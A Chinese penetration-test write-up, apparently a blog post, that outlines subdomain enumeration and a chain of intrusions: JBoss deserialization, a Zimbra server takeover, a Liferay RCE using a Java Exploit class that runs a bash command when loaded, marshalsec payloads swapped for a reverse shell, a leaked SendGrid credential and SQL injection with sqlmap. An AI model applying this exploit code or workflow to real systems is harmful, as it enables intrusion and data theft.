前言

子域名信息收集

在modules里面存放了主要获取数据的脚本代码，不得不说太强了！

利用证书透明度收集子域模块

自动接管模块

常规检查收集子域模块

利用网上爬虫档案收集子域模块

利用DNS数据集收集子域模块

利用DNS查询收集子域模块

利用威胁情报平台数据收集子域模块

利用搜索引擎发现子域模块

利用FOFA搜索资产获取JBoss入口

再其中一台机器中找到了tomcat的管理后台密码

直接反序列化利用获取它的权限！

获取Zimbra 电子邮件协作系统服务器权限

Liferay 框架RCE漏洞

知道了是什么操作系统之后，开始编写好Exploit的javapayload。代码如下

public class Exploit {

        static{

        try{

                String[] cmd = {"/bin/bash","-c","ping xxx.xxx.xxx -c 5 "};

                java.lang.Runtime.getRuntime().exec(cmd).waitFor();

        } catch (Exception e ) {

                e.printStackTrace();

                }

        }

}

保存为Exploit.java 之后使用 javac 编译这个文件获取到 .class的文件

javac Exploit.java

之后在服务器开启HTTP的服务，挂在编译之后的Exploit.class文件

接着使用mashalsec直接生成16进制paylaod

接着替换为反弹shell的命令，这里成功的获取到了shell

github信息泄露收集

直接继续到 SendGrid即可！！进入到用户界面

SQL注入拿下分站

抓取数据包，测试报错注入成功！但是这个数据库给的权限不高！

测试一番之后发现没有WAF等拦截，直接使用sqlmap跑一下成功获取到了注入数据！